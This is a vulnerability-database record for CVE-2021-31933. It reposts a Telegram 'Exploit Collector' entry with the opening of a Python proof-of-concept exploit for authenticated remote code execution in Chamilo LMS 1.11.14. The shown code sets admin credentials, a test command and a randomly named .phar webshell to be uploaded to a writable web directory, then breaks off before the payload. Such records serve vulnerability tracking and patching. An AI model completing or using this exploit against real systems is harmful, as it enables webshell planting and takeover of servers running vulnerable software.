{"uuid": "d10cd5aa-0ee7-417b-ac7b-0c8b7de1bc6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31933", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/8662", "content": "Exploit Collector\nChamilo LMS 1.11.14 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png \nChamilo LMS version 1.11.14 authenticated remote code execution exploit.\n\nMD5 | 5a8f8f1545cefe375862b9f2c4609083\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)\n# Date: 13/05/2021\n# Exploit Author: M. Cory Billington (@_th3y)\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://github.com/chamilo/chamilo-lms\n# Version: 1.11.14\n# Tested on: Ubuntu 20.04.2 LTS\n# CVE: CVE-2021-31933\n# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/\n\nfrom requests import Session\nfrom random import choice\nfrom string import ascii_lowercase\n\nimport requests\n\n# This is all configuration stuff, \nurl = \"http://127.0.0.1/chamilo-lms/\"  # URL to remote host web root\nuser_name = \"admin\"  # User must be an administrator\npassword = \"admin\"\ncommand = \"id;whoami\"\n\n# Where you want to upload your webshell. Must be writable by web server user.\n# This spot isn't protectec by .htaccess\nwebshell_path = 'web/' \nwebshell_name = f\"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar\" # Just a random name for webshell file\ncontent = f\"", "creation_timestamp": "2026-09-08T06:00:04.708643Z"}